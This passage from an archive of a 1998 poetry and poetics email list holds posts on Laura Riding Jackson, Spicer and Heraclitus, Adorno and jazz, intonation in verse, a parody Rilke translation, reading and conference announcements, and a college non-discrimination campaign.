>stanza," which he invented way back when in his more acerbic, abrasive
>days. Selby's recent work gives off a palpable warmth and directness that's
>refreshingly new. This isn't your father's Spencer Selby.
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing

books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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420. **Laura E. Wright**
Re: Adorno & Jazz
Tue 13 Oct 1998

Herb, I find this fascinating but I'm not following _what_ was evil about harmonic structure. Was it the tie to social and political structures of the past? I suppose I should really go read those books you recommend, but can you elucidate further? (backchannel would be welcome, too, if you want to go into gorey detail)

Herb Levy wrote:

> *Adorno was was an elitist, he was a fanatic, & he was trying to save the world. Taste is exactly not the issue for him, he didn't care what music you liked. Adorno knew that ANY music rooted in harmonic structures was evil (regardless of any potentially mitigating social, political, economic, or aesthetic issues about the music), just another step along the path of the repressive culture industry to totalitarianism. He'd seen it happen in Europe once, he desperately wanted to stop it from happening ever again.*
> *...*

Also, just wanted to say, here, you're absolutely right. My friends with no musical training whatsoever "get" jazz much better than I, a former semi-professional musician, do. Are there similar, bubble-producing situations in the literary world?

> *Folks with intense classical training often live in a musical bubble. I've heard some classically trained musicians complain about classical Indian musicians not playing in tune, when that music is based on probably the most complex system of tuning in the world. Many folks with strict classical training (even to this day) have little or no understanding about how jazz works. (Which is why almost every "classical" work "inspired" by "jazz" is musically clueless, but perhaps that's a secondary issue here).*

Laura W.
--
Laura Wright, Library Assistant
Allen Ginsberg Library, The Naropa Institute
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

* * * * * *
"Then there was a situation with tufts (and flowers). This did not agree with me either, and time just kept on passing."
(Henri Michaux)

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421. **Lisa Samuels**
Re: "our" laura (riding) jackson
Tue 13 Oct 1998

---

dear chris, i appreciate what you write here, and your (and riding's) claims for poetry (or say 'creative writing') as a literature of knowledge resonate. this is in part what i understood your conference talk to be about. i found the whole thing stimulating as well, but again strangely bifurcated for me because i felt a human sympathy with the Board members, who are clearly walking around bereft, with the roving wound of absent laura within them. as for riding's refusal of comparisons -- well, that refusal intensified, of course, from what i know of her work. which doesn't really have anything to do with why i prefer the earlier period of her work to the later one. lisa s.

chris s. wrote, in part --
> I may be taken as an apologist for the "other" (board member) camp
> (though i enjoyed lisa, carla b's, etc. papers,
> and the way barry watten pronounced "the great much")
> but if i may claim interpretive priority concerning my own "stance"
> i do not think such is the case, even if i argue that
> i don't think i'm any more (to quote lisa s.) "skeptical about any
> author's claims of interpretive priority over their work as well
> as to claims of non-comparability" than i am of writers who claim
> to absolutely deny such claims, and be professed champions of
> the aleatory. As for non-comparability, I guess I think of Bloom's
> statement that instead of Freudian readings of Shakespeare there
> should be Shakespearean readings of Freud, and if I were to apply
> that comment to the question of L(R)J, I would perhaps "occupy"
> a "position" (or a reading of riding's "intent"--which is not
> absolutely singular, though it seems to be at times) that would
> allow for comparability, or at least comparisons with other writers,
> but instead of say Watten's Zizekian reading of Riding one would
> have a Ridingian (oh no, I'm "ding donging") reading of Zizek,
> for instance. I think Riding was far more critical of those who
> SUBORDINATED poetry to theoretical grids than those who would
> compare her thought and writing to others. She herself compares
> her thought to others, if all comparison is also contrast, whether

> explicit or not. --------cs
>

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422. Aldon Nielsen

Re: Call for papers: Innovation and Experimentation in Contemporary American Poetry

Tue 13 Oct 1998

> *(2) Separatism*
> *is not only the rule these days*
>
> *-Paul Hoover*

My wife and I have been puzzling over this for hours now -- damn, broke the rule again --

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423. Thomas Bell

Re: line breaks inner/exterior rhythms

Tue 13 Oct 1998

My sense when I am writing or reading poetry is that there is an internal rhythm that I responding to (trying to anyway) rather than a score out there on the page?

tom bell

<><><>

424. Donald Wellman
Re: Sexual preference in non-discrimination policies
Tue 13 Oct 1998

"orientation" as in daniel zimmerman's language is the key word. If you go with "preference" you are open to debates about protecting a voluntary status. You will hear this debate anyway, but if you go with "orientation" some of the natural law conservatives will be outflanked. I believe American Psychological Association policy statements on homosexuality are also clued to "orientation" rather than "preference." The debate will center on whether or not homosexuality is a preference anyway--don't start by conceding this point.

don wellman

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425. charles alexander
readings/pog
Tue 13 Oct 1998

---

pog's poets & artist series kicks off tonight in tucson

7pm
dinnerware contemporary art gallery
135 E. Congress St.

Tony Lopez / poet
Nancy Solomon / video artist

_____

the series will continue next month at the same place

nov. 17, tuesday
7pm

Douglas Barbour
&
Stephen Scobie
(RE: Sounding)

and visual/installation artist Barbara Penn

_____

on december 5, saturday
7pm
orts theater of dance
on E. 7th St. in Tucson

Eli Goldblatt / poet
Helen Mirra / visual artist

If you're around Tucson, or might be, and want more information, you can call chax press at [redacted] or email at [redacted]

I'll probably repost information closer in time to November and December readings, and will post information on january - april readings as soon as those are confirmed.

charles
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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426. Gabriel Gudding
Bernstein & the Avant-Bored
Tue 13 Oct 1998

On Tue, 13 Oct 1998, Mark Weiss wrote:

> *I don't know about respectable, but coherent would help.*

Well said, Weiss. Which is precisely Henry's point.

I only meant that you might get a guy writing "essays" stuffed with 80s jargon and slinging brackets and dashes like nunchucks -- while being simultaneously incoherent AND respectable. This is, I think, the "stuffed shirt" situation recently priggishly decried by a heartfeldt Feld -- a situation entirely WORSE than being either simply respectable or incoherent.

When I say Give me a Vachel Lindsay with his buffo and his Lysol, I am referring to the poor man's suicide by quaffing Lysol while being more than half despondent that his experiments were ultimately laughed at.

When I say Give me a (can't bring myself to write "an") Arensberg with his and his up-dada's down-dada's, I'm referring to the aforementioned lack of a highly serious and stunningly boring theoretical apparatus during the days of dadaetc. The one unbearable thing about High Modernism was its High Seriousness. The one unbearable thing about the recent Avant Bored is their attachment to a High Seriousness.

Such stubborn seriousness is perpetuated in most cases by a virulent refusal to recognize that one is being utterly boring. And utterly cliche.

Cliche? That Saussure's theory of language is linguistically useful is entirely beside the point. The point is it's boring. B=O=R=I=N=G

Now, as for "stuffed shirts":

When I say Give me again the Baroness, please, with her shellacked head and dainty hands, I am being perfectly obvious.

These were the same hands that clocked WCW. The Baroness was one of the few who made The Little Review not just a good read but a Great Read. She was a nut: Margaret Anderson decried the obscurantism of the later Little Review and this was one of the reasons Anderson left the LR: The Baroness was not obscure. She was simply incomprehensible. There is a difference.

One is not allowed be incomprehensible in academia. One is only allowed be obscure. This is a problem only insofar as incomprehensibility is not boring, whereas obscurantism is.

The great Patrick Kavanagh (who certainly wouldn't qualify as "avant garde" but who nevertheless dragged Irish poetry from romanticism) insisted that you could tell a poet easily enough: a poet is not boring. I'd have to say that by this criterion a great many of today's avant-garde poets -- most especially those with heavy theoretical affiliations -- are not poets.

As for the "stuffed shirt" syndrome as witnessed on a list ostensibly about avant-garde poetics, I do say that one begins to get the sense that discussing the relevance or irrelevance of Wittgenstein, Adorno, Zizek, etc, will not lead to that BRISANCE one so often wishes for -- and which the avant-garde has so often historically provided.

We should all write like Jimmy Durante's face.

Very Warmly, Gaga

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427. Louis Cabri
PhillyTalks 6 & 7
Wed 14 Oct 1998

Available now to superscribers:

PhillyTalks #6: Responses to (mostly) PhillyTalks #3 (Derksen/Silliman) & Post-Reading Discussion from their event, Jan. 22, 1998, at Kelly Writers House, Philadelphia

PhillyTalks #7: Brian Kim Stefans & Fred Wah
They read and discuss issues raised in this newsletter on Nov. 2, 7:30pm, Kelly Writers House, 3805 Locust Walk, Philadelphia. All welcome.

Louis Cabri
Ed., PhillyTalks
4331 Pine St., #1R
Philadelphia, PA
19104

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428. Gary Sullivan
Bows/Bios, Arrows/Eros
Wed 14 Oct 1998

Stephen, I'm sorry to keep like cyberharassing you or whatever, but your input has been really helpful to me. And, I'm not convinced that Spicer doesn't reference the pre-Socratics. That pun in _Language_ on Arrows/Eros, when Kennedy is shot in the back! that seems like a playful rewriting of the Heraclitus fragment about "bios." I mean, it's the same kind of pun & the essential irony is the same, resolves itself similarly. I read that & I'm struck! (Pun intended.) The ghosts of the pre-Socractics are here.

Anyway, I'm aware that reading like this, in some way goes against what I get as far as a way of being attentive to (respectful toward?) the poem, as hinted at in "Intermission I":

"The movement of the earth brings harmes and fears.
Men wonder what it is and what it meant."
    Donne
In the next line
Contrasts this with "the celestial movement
    of the spheres." Rhyme soothes. And
    in a book I read in college fifteen
    years ago it said that this was an
    attack on the Copernican theory and
    a spidery hand had pencilled in the margin
    "Earthquake."
Where is the poet? A-keeping the sheep
A-keeping the celestial movement of the
    spheres in a long, boring procession
A-center of gravity
A-(while the earthquakes of happiness
    go on inside and outside his body
    and the stars in their courses stop
    to notice)
Sleep.

But, still (& more on this poem in a bit). Going back to Thales, Anaximander, & Heraclitus, these ideas of principle & elemental: Let's say that, in that previous Spicer poem quoted yesterday, "in place" maybe has something to do with "law." Law or principle prior to even something so seemingly formless or chaotic as "liquid" (or "fire," to insist on my own pre-Socratic hero). & this I take (tell me if I'm totally confused) to be what you mean by "aporia." Is "aporia" also "law"? I mean, is what happens when something emerges from & becomes distinct from "aporia" an attendance to law?

What is "law" in that poem "Transformations"? I mean, because if something has the capacity or tendency to transform, to be transformed, then its nature is . . . what? I don't think it's quite so simple as "boundlessness," necessarily. Because, okay, because the poem takes (as does everything else we can experience take) _specific shape_. And it is the capacity or nature or tendency of things to _persist_. (". . . all things steered through all things"--Heraclitus.) (or "It is wise, listening not to me but to the Law, to acknowledge that all things are one"--Heraclitus.)

Bearing in mind the Heraclitus fragment about sleeping/waking, and read again the poem quoted above. Spicer says the poet is "A- . . . Sleep." & sleep seems to be that state in which we are when we are, as I read the Heraclitus fragment, most individuated, most "specific." And the poem, whatever else it might be, is a specific instance, and it doesn't really matter wherefrom the signals, they've been filtered through the poet (harelipped, cleft-palleted or otherwise).

So, while _Language_ does seem saturated with these tropes of "signals," I've read much blander poetry, much more airy poetry, and find, in _Language_, a real attention to these, well, _details_, specific _manifestations_ of signals. Now, I just read last night Kristin Prevallet's "The Reluctant Pixie Poole," in which she says that Helen Adam was "skeptical at [Spicer's] claims to understand magic . . . [was] a demon from hell." Which is pretty brutal, and no doubt had more than a little personal motivation behind the judgment. (Adam was, as Prevallet casts her, somewhat slavishly attendant to Duncan, & was caught, no doubt against her will, in between their fued.) And, frankly, I don't care whether or not Spicer was a magician in any "real" sense. His value to me is as a poet. (Whatever value a poet can have for a cartoonist.)

There are too many books & downloaded internet texts on my nighttable. Let me shove them all aside for a moment & concentrate on the poems themselves. Okay. That whole "Love Poems" series. Stephen, this is where I find what's most usuable for myself. Is "love" the law governing those things experienced as individuated beings? Because, wow, look how this section begins:

Do the flowers change as I touch your skin?

This question, for me, is really essential. That you could ask such a thing. Because, wow, what is Love? he seems to be asking. A kind of energy (signal)? And as negative-sounding as what follows

They are merely buttercups. No sign of
death in them. They die and you know
by their death that it is no longer
summer. . . .

it's _not_ a refutation of such a thing or energy (or law?) as Love. If Heraclitus sees death in life or life in death (bow = bios), Spicer sees death in love or love in death (eros = arrows). So, okay, how about this: Is Love . . . Life? Are living things governed by the "law" of "Love"? And are these distincions ("love," "life," "death") made merely because we have this thing or capacity or filter called "language"?

Up way to early this morning,

Gary

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429. Loss Pequen~o Glazier
Digital Arts and Culture 98
Wed 14 Oct 1998

I'm passing along this message from [redacted]

We'd like to invite you to

Digital Arts and Culture 98
26. - 28. November 1998
Bergen, Norway
http://cmc.uib.no/

Sponsored by the SKIKT Program of The Norwegian Research Council
and the Cyber/Media/Culture Project
at the Dept. of Humanistic Informatics, University of Bergen

Digital Arts and Culture 98 will provide a forum for the presentation and discussion of theoretical and artistic developments in digital arts, media and cultures. There will be no conference fee, but we may have to charge for certain social events (dinners etc.; plenary lecturerers excepted), depending on the number of attendees.

Please register at http://cmc.uib.no/dac before Nov. 1st.

CONFERENCE PROGRAM:

Lars Qvortrup, University of Aalborg
The Aesthetics of Interference: From Anthropocentric to Polycentric Self-Observation and the Role of Digital Media

Anita Hammer, Norges teknisk-naturvitenskaplige universitet, Trondheim: Role and Theatricality in Virtual Worlds: Extending the theatrical, and investigating thresholds of mythic identity.

Terry Harpold:
Before the Subject: Some Remarks on the Ethic of New Media

Loss Pequeño Glazier, Electronic Poetry Center, State University of New York at Buffalo:
With Code in Hand: an Inventory & Prospectus for E-Poetics

John Cayley:
Performances Of Writing In The Age Of Digital Transliteration

Jesper Juul, University of Copenhagen:
A clash between game and narrative: Interactive fiction

Marie-Louise Rinman, Stockholm University.
Digital Art and Culture

Eduardo Kac
Art at the Biological Frontier

Martin E. Rosenberg, Kettering University:
Chess Rhizome: Mapping metaphor theory onto hypertext theory

Martin Engebretsen, Høgskolen i Agder:
Hypertext-news and the problem of objectivity

Markku Eskelinen, independant artist, Finland:
Omission impossible: the ergodics of time

Aki Järvinen, University of Tampere, Finland:
Stories Powered by Cogwheels and Computers

Jørgen Kirksæther, Norges teknisk-naturvitenskaplige universitet, Trondheim:
The Structure of Video Game Narration

Adrian Miles, Royal Melbourne Institute of Technology:
Cinematic paradigms for hypertext

George Maevski & Leonid Borodkin, Moscow State University: Russian Art of the 20th century in Electronic Media

Matthew G. Kirschenbaum, University of Virginia:
Looking Backward: Visual Culture and Virtual Aesthetics, 1984-1998

Abstracts of the presentations are available at our web site (http://cmc.uib.no/dac).

Contacts and further information:

Conference Chair: Espen Aarseth ([redacted])
Local coordinator: Jill Walker ([redacted])

Digital Arts and Culture 98
26th - 28th November 1998, Bergen, Norway
http://cmc.uib.no/dac/
[redacted]

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430. Sylvester Pollet
Re: Sexual preference in non-discrimination policies
Wed 14 Oct 1998

The University of Maine, the whole state system, has such a policy, though it uses the words "sex and sexual orientation." "Fully inclusive of the diverse populations it serves," etc. Text must be on the Univ. website. Good luck with the campaign. Sylvester

At 11:16 AM -0500 10/13/98, KENT JOHNSON wrote:
>A group of faculty members here at Highland Community College (in
>Freeport, Illinois) is interested in having our school add "sexual
>preference" to its non-discrimination statement and we wish to
>organize a campaign (it will take such to succeed in these
>conservative environs) toward that end.
>
>It would be helpful for us to know the names of some colleges that
>have full and unqualified non-discrimination policies. Anyone out
>there have any experience with a similar campaign?
>
>Posts to the list on this or backchannel would be appreciated.
>Thanks.
>
>Kent

↑ Index

431. Henry Gould
try these experiments
Wed 14 Oct 1998

1. Divide all your poetry into "practice work" and "poetry". Keep all your practice work at home - don't show it to anyone - make your will & designate all the practice work for the posthumous recycling bin.

2. Establish extremely rigid, difficult & high standards for your poetry for public consumption. These should include: a) no poetry which you could not recite without embarassment to ANYONE - from Czeslaw Milosz to the families in line at the food pantry; b) no imitations: ie. no vague strings that "sound like" Ashbery or pedantic excoriations of the bad guys that quote obscure historical documents & "sound like" Pound; c) nothing too boring to read to the most acidly clever wit you know; d) nothing too classy to read before a high school audience from the trailer park; e) no poems that start with "from"; f) no poems that will not confuse, bore, and offend your own literary set.

3. Accept the fact that the poetics list is a substitute for reading and writing poetry and "sign off" for at least 3 months.

4. Accept the fact that in a rich materialist consumer glut empire, the concept of "anything goes" in art & poetry, the cult of over-production, is one of the prime examples of conformity all along the literary spectrum, from the fat & bloated "margins" to the complacent "mainstream". As Errol Miller puts it (in his poem in Nedge #6) "here we have hard-hitting poetry and soft judges". Once you have accepted this fact, search for a sustainable poetic economy.

5. Do the following over a period of six months, simultaneously: 1) volunteer at your local homeless shelter & devise an employment program for laid-off workers & high school dropouts involving the production of "people's bicycles"; 2) give away all your extra clothes; 3) learn Spanish and Swedish; 4) stop using the word "aporia"; 5) ride the rails; 6) work on no more than ONE poem.

6. When you return to your "literary" life, do the following simultaneously (absolutely NO shirking): write an article about your "people's bike" industry for your local paper; write an essay on a poet you thought you weren't going to like & still aren't sure if you do; write a letter to your Mom; work on no more than ONE poem per month in your private notebook.

- I guarantee if you fulfill these six simple experimental assignments the literary atmosphere will clear & brighten considerably & all will be well & all manner of thing will be well & the inflated & devalued will be deflated & revalued. Amen.

- Henry Gould

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432. **Gary Sullivan**
Try this experiment
Wed 14 Oct 1998

Stop telling us what to do.

↑ Index

433. **dbkk**
Laura [Riding] Jackson conference question
Wed 14 Oct 1998

Hi everyone, it's Kevin Killian. Thanks to all the people who attended the Laura Riding Jackson conference at Cornell for their reports, which really made me feel as though I were there, it sounds like an amazing event from any perspective. I remember once writing a play in which a mad scientist, yearning to return to the prelapsarian days when people had only one name, devised a doomsday-type machine to destroy all humans with two names, but instead he pressed the wrong button and the only people left alive on earth were those with three names, so the main characters became Olivia Newton-John, Joel-Peter Witkin, Mary Tyler Moore, Tommy Lee Jones, Andrew Lloyd Webber, Jennifer Jason Leigh and Laura [Riding] Jackson who, due to these improved conditions, gave her first poetry reading since 1938, from her front porch in Florida, where all had gathered. Laura Moriarty played this difficult part with all of Riding Jackson's saltiness and pepperiness. Sounds like I should have asked "the Board" for their permission, but what *is* "the Board, can anyone fill me in? Thanks . . .

↑ Index

434. **Douglas Oliver**
Red: Neutral tunes
Wed 14 Oct 1998

Andrew Rathbone and Mark Weiss have been making me think some more, and my thanks for that. But Henry Gould on code and neutral music raises complicated questions, which Mark has ably addressed. Pardon my opening simplicities here:

1. English has coded intonations at word level, such as: "breakfast" (US & Brit English, most dialects) higher pitch on "break", which is stressed because this is a double noun -- stress on first noun. This is grammatical (such codes were the basis of the dubious Chomsky-Halle attempt to codify stress).

2. English has other near-codes at phase level: "What are we having for breakfast?" Wh-question, nearly a code but passing fuzzily into pragmatics because questions like speaker-certainty enter into it, affecting intonation. Still, the phrase usually has a fairly constantly falling intonation in which "break" is still higher pitch than "fast". (Certain American dialects -- Buffalo included, I think -- may turn many sentences up at the end to give a peculiar insistence to the speech in general. Let's leave special dialects apart.)

3. If we don't hear the answer and check it with increased stress on "What", "_What_ are you having ..." or if we ask "Are we having breakfast?" (yes/no question), the intonation will probably turn upwards at the end of the sentence and "fast" may then have a higher pitch than "break", though "break" will still carry main stress, via other qualities than pitch.

So in points 2 and 3 we have the beginning of a trading (pragmatics) between real situation, attitudes, feelings on the one hand and code on the other, though the usages are so habitual they are almost coded in.

4. A line of really bad poetry, invented to illustrate:

In the wild breakfast where's the withered cornflake?

Normally (my own neutral tune), I'd read this with a rising pitch on "fast". If I gave "wild" and "where's" huge stress because I thought them very important words, it would change all the note values because my interpretation would have changed -- even the smallest change of interpretation makes some difference to tune. Then, I might read "fast" with slightly falling pitch.

5. The notion of "code" cannot survive the minute nuances of interpretation or the fact that the music you want to give a line as you perform it changes as you pass along. The only notion that makes sense to me is that at every stage of the line when being read, the possibility of a neutral tune underlies the changes that you make to its neutrality. It's a possibility only, an evanescent thing made concrete, determined, slightly changed out of neutrality by every sound you make. Therefore, it cannot be coded in, as it is an ephemera of the moment, yet in fact (since we're all human) may be broadly similar to any good reader's "neutral tune" for that poem -- the differences are often minute, as Andrew Rathbone implies.

Code is linguistic. Intonation is sited uneasily between linguistic rule and performance -- and, through its unease, allows in so much of poetry's subtlety.

Wyatt writes sexistically:

So unwarely was never no man caught
With steadfast look upon a goodly face.

The pitch on "never" may change from "very high" to "high" to "mid" to "low" according to whether you: a) read normally with some fairly neutral attention to "unwarely" (high "never"); b) unusually stress "So" raising its pitch even more (low pitch for "never"); c) stress "no" (mid-pitch for "never"); d) or unusually stress "never" (very high pitch). But different readers may not follow what I've just said, because of cultural, dialect, or idiolect reasons. Fair enough. It remains that when readers do follow what I've just said, the smallest differences in their interpretations are crystal clear to me because the musical shape of the whole line, as now reinterpreted, falls into shape for me.

What they have shown is their departure (for emphasis and stress) from a more orthodox reading (as judged by myself and others), and are in the process of establishing another suggested norm for their own reading. But that norm cannot be trapped -- it flies away even as we listen for it. That's what the "neutral tune" is; it cannot be regarded as a code because codes are repeatable, whereas "neutral tunes" never are repeatable -- exactly, that is. In fact, their ontological status is decidedly dicey!

I expect you all want me to be quiet now.

Doug

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435. Rachel Loden
a lost Rilke translation
Wed 14 Oct 1998

The original manuscript of Rimbaud's _Une saison en enfer_ recovered in Paris, and now this, found by a custodian cleaning out lockers at Santa Monica High School. Eat your heart out, Stephen Mitchell!

> AUTUMN DAZE
>
> George, it's about time. The summer was really gross.
> Knock me unconscious with my surfboard,
> and in the porcelain goddess let the girls blow chunks.
>
> Roll the last kegs into the entry hall;
> my parents are in Rio for only two more days,
> frontload some brewskis and throw
> another barney into the swimming pool.
>
> Who has no Jeep now, will drive him one no more.
> Who is a dweeb now, will always live at home,
> will wake, chill, check his e-mail

and down the long aisles of the megamall
cluelessly stumble, while his zits are growing.

David Bromige wrote:

> *Fall*
>
> *Man, where'd the time go? Detroit?.*
> *But summer was really, really great.*
>
> *Stand that side of the sundial, will ya?*
> *I want to dig the shadows.*
>
> *Robert Duncan's freaking in the meadow.*
>
> *Those apples can't get a whole lot riper.*
> *Give em a couple more hot days.*
> *My friends who have the winery are already making the wine.*
>
> *It's getting chilly, nights. If you don't have a pad by now,*
> *Too bad. If you're not seeing someone*
> *You're likely stuck that way, they went back to school.*
> *Crack a book yourself. Write in Starbucks.*
> *Go walkabout downtown. [Time passes]. Hey, lookit*
> *the leaves, wind, etc. doing their thing. Rustle rustle.*
> *Contrast and compare yourself. Cool!*

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436. **henry**
Re: Red: Neutral tunes
Wed 14 Oct 1998

Doug, maybe code was the wrong word to use. I'm thinking of something more basic & simple. My question is: if you hear a neutral music or generic quality beneath variations of performance - could it not be that you are hearing what is truly universal & generic to language itself, no matter what the language, what the dialect, etc. You are hearing the rhythm of syllables - the rhythm created when sound is broken into components & reassembled. - Henry G.

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437. **Mark Weiss**
Re: a lost Rilke translation
Wed 14 Oct 1998

Nice. But suppose the third line read "and let the girls blow chunks in the porcelain goddess." You get that half-rhyme gross/ goddess, which seems meaningful all by itself, although you lose that nifty inversion.

At 09:58 AM 10/14/98 -0700, you wrote:
>The original manuscript of Rimbaud's _Une saison en enfer_ recovered in
>Paris, and now this, found by a custodian cleaning out lockers at Santa
>Monica High School. Eat your heart out, Stephen Mitchell!
>
>
> AUTUMN DAZE
>
>
> George, it's about time. The summer was really gross.
> Knock me unconscious with my surfboard,
> and in the porcelain goddess let the girls blow chunks.
>
> Roll the last kegs into the entry hall;
> my parents are in Rio for only two more days,
> frontload some brewskis and throw
> another barney into the swimming pool.
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> Who has no Jeep now, will drive him one no more.
> Who is a dweeb now, will always live at home,
> will wake, chill, check his e-mail
> and down the long aisles of the megamall
> cluelessly stumble, while his zits are growing.
>
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>David Bromige wrote:
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>> Fall
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>> Man, where'd the time go? Detroit?.
>> But summer was really, really great.
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>> Stand that side of the sundial, will ya?
>> I want to dig the shadows.
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>> Robert Duncan's freaking in the meadow.
>>
>> Those apples can't get a whole lot riper.
>> Give em a couple more hot days.
>> My friends who have the winery are already making the wine.
>>
>> It's getting chilly, nights. If you don't have a pad by now,
>> Too bad. If you're not seeing someone
>> You're likely stuck that way, they went back to school.
>> Crack a book yourself. Write in Starbucks.
>> Go walkabout downtown. [Time passes]. Hey, lookit
>> the leaves, wind, etc. doing their thing. Rustle rustle.
>> Contrast and compare yourself. Cool!
>
>

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438. Billy Little
Re: Bernstein & the Avant-Bored
Wed 14 Oct 1998

dear gagu,

i'm with you on this inasmuch as all authority must be challenged and you challenge in a vigorous charged expression but i'll take this opportunity to reprise my theme 90percent of Whitman's writing is B-O-R-I-N-G, 90percent of Dickinson's writing is B-O-R-I-N-G, 90percent of Ginsberg, Spicer, Whalen, the finest poets you can think of Rumi, Homer, Sappho, 90percent of their writing was boring, we expect too much of poets, ourselves included, when we demand all of their dangling participles be golden turds, if they wrote one pome that boggles, jimmy durante's jimmy durante face, and i were the ferryman, they'd have free passage

so much of us is water, how do the extraterrestials tell us apart from puddles

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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439. **Mark Weiss**
Re: Red: Neutral tunes
Wed 14 Oct 1998

And the ur-voice of our ancestors discovering syntax.

At 01:05 PM 10/14/98 EDT, you wrote:
>Doug, maybe code was the wrong word to use. I'm thinking of something more
>basic & simple. My question is: if you hear a neutral music or generic
>quality beneath variations of performance - could it not be that you are
>hearing what is truly universal & generic to language itself, no matter
>what the language, what the dialect, etc. You are hearing the rhythm of
>syllables - the rhythm created when sound is broken into components &
>reassembled. - Henry G.
>
>

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440. **MAYHEW**
Re: "Our" Laura (Riding) Jackson
Wed 14 Oct 1998

I have the same difficulties with Laura as Perloff does--the theory, the poetry, the politics, the person-- I remain unconvinced of her importance, though I am open to arguments in her favor. She (Laura) seems to have adopted the problematic "misunderstood genius" mode associated with other modernist poets, but the problem is she wasn't a genius. She would write long involved letters complaining she had been misrepresented--often to people who had dealt with her sympathetically! It is precisely this sort of "misunderstood" autodidact that inspires cultish devotion.

She is a strangely fascinating figure all the same; I've read interesting articles *about* her but not as much of interest *by* her. One idea of hers that did strike me years ago is the complaint that poetry is too much a specialized concern of poets; that in some sense poetry (or the linguistic values it ought to embody) is too important to leave to specialized practioners.

If you want a theory of the correspondence between language and truth, there's always Wittgenstein's Tractatus. Or if you want a theory of how poetry gets in the way of truth, read Plato. (Riding) Jackson has always struck me as turgid and amateurish, though I could be wrong (as I usually am.)

Jonathan

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441. Elizabeth Treadwell
Laura (Riding) Jackson
Wed 14 Oct 1998

David-- thanks!

I do think its interesting to hear someone denounce something they've devoted themselves to for a long time. Is she quite, though?

Elizabeth

> *"When I put away my implements of poetry, I felt for the first time the full difficulty of the linguistic task of truth. The difference between words as real words, words of a real language, and the imitation-words that crowd the mind I saw to be a far greater one than it had appeared to be under the auspices of my faith in poetry as capable of embodying the very spirit of language."*

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442. tracy s. ruggles
Re: Bernstein & the Avant-Bored
Wed 14 Oct 1998

"If something is boring, try it until it's not."

-- John Cage
(i think...)

...and, boy, talk about boring poetry, Mr. Cage...

On Wednesday/14.October.1998 10.11.26am, Billy Little wrote:
>
> dear gagu,
>
> i'm with you on this inasmuch as all authority must be challenged and you
> challenge in a vigorous charged expression
> but i'll take this opportunity to reprise my theme
> 90percent of Whitman's writing is B-O-R-I-N-G, 90percent of Dickinson's
> writing is B-O-R-I-N-G,
> 90percent of Ginsberg, Spicer, Whalen, the finest poets you can think of
> Rumi, Homer, Sappho, 90percent of their writing was boring,
> we expect too much of poets, ourselves included, when we demand all of
> their dangling participles be golden turds,
> if they wrote one pome that boggles, jimmy durante's jimmy durante face,
> and i were the ferryman, they'd have free passage
>
> so much of us is water, how do the extraterrestials tell us apart from puddles

>
> billy little
> 4 song st.
> nowhere, b.c. V0R1Z0
>
> Go ahead and say something true
> before the big turd eats You
> You can say any last thing in Your poem.
>
> -Alice Notley
>

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443. KENT JOHNSON
Re: non-discrimination
Wed 14 Oct 1998

Thanks to the many helpful posts b-c and on the list regaarding the "non-discrimination" query. Very, very helpful, and so may I say thanks through this instead of thank you twenty plus times. Thank you !

Now we'll see what happens. It's not going to be automatic, and it will be interesting to see the response here.

Kent

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444. Hannah J Sassaman
CrossConnect Magazine
Wed 14 Oct 1998

Hello, all -- I'm Hannah Sassaman, a student at the University of Pennsylvania and a new member of this listserv. I've been quiet for a couple of days, but now I have something interesting to say -- our next issue of CrossConnect, a premier online and print literary journal, is due for release in a few days. We still could use some good nonfiction pieces to round out the mag. If you have anything lying around, I'd love to take a look at it, and show it to the ed-in-chief of the magazine, David Deifer. Some of you have already submitted and/or been published in the magazine (Mike Magee is a contributing editor!), and I hope you can help us now.

Check out last issue's nonfiction and other stuff at
http://ccat.sas.upenn.edu/xconnect. Great!

Thanks a lot.

Hannah Sassaman

****

Hannah Jane Sassaman

School Address: Home Address:
4009 Pine St. 42 Framingham Lane
Philadelphia, PA 19104 Pittsford, NY 14534

Talk not of wasted affection; affection never was wasted.
-- Henry Wadsworth Longfellow

There is no course of life so weak and sottish as that which is managed by order, method, and discipline.
-- Montaigne

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445. **Don Cheney**

Re: Berenstein & the Avant-Bored Bears

Wed 14 Oct 1998

> "*If something is boring, try it until it's not.*"

if john cage said that then john cage has not seen the tv show "full house" nor has he tested his blood/sugar level 4 times a day. these things are boring, boring, boring. what's wrong with boring? granted, being bored is not one of my favorite feelings but what the hell, boring happens. but then when i think about it there is some tension wondering if bob sagat or anyone else in the cast is going to deliver a line that is genuinely funny or genuinely anything other than bad acting. but when that NEVER occurs the tension disappears. and there is a certain tension wondering what the blood/sugar level is going to be this time, but the poking a needle into your finger 4 times a day part wears thin fast.

don cheney

> *From: "tracy s. ruggles" <[redacted]>*
> *Subject: Re: Bernstein & the Avant-Bored*
> *To: [redacted]*
>
> "*If something is boring, try it until it's not.*"
>
> *-- John Cage*
> *(i think...)*
>
> *...and, boy, talk about boring poetry, Mr. Cage...*

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446. **Mark Prejsnar**
"My" Laura Riding
Wed 14 Oct 1998

Jonathan--

With your post (as with a number of others) i'm not sure how much you are talking about her *poetry*...

I haven't looked at in a while, but my interest in it goes back 18 years or so...i suspect i still find much of it worth some attention; as i recall, it can be weird, startling, wildly ludic, sharply odd and dryly poignent. Much more unexpected and exhilerating, at its best, than the work of her sometime collaborator/lover, Graves. Her play with the sound level of the english tradition of nonsense doggeral can be fascinating.

Her work from after she saw the light and turning against poetry, seems to me irrelevant and without interest. But not necessarily the poems.

Parenthetically [((()))}}] ...i haven't yet seen the Perloff piece;

mark p.

On Wed, 14 Oct 1998, MAYHEW wrote:

> *I have the same difficulties with Laura as Perloff does--the theory, the poetry, the politics, the person-- I remain unconvinced of her importance, though I am open to arguments in her favor. She (Laura) seems to have adopted the problematic "misunderstood genius" mode associated with other modernist poets, but the problem is she wasn't a genius. She would write long involved letters complaining she had been misrepresented--often to people who had dealt with her sympathetically! It is precisely this sort of "misunderstood" autodidact that inspires cultish devotion.*
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> *She is a strangely fascinating figure all the same; I've read interesting articles *about* her but not as much of interest *by* her. One idea of hers that did strike me years ago is the complaint that poetry is too much a specialized concern of poets; that in some sense poetry (or the linguistic values it ought to embody) is too important to leave to specialized practioners.*
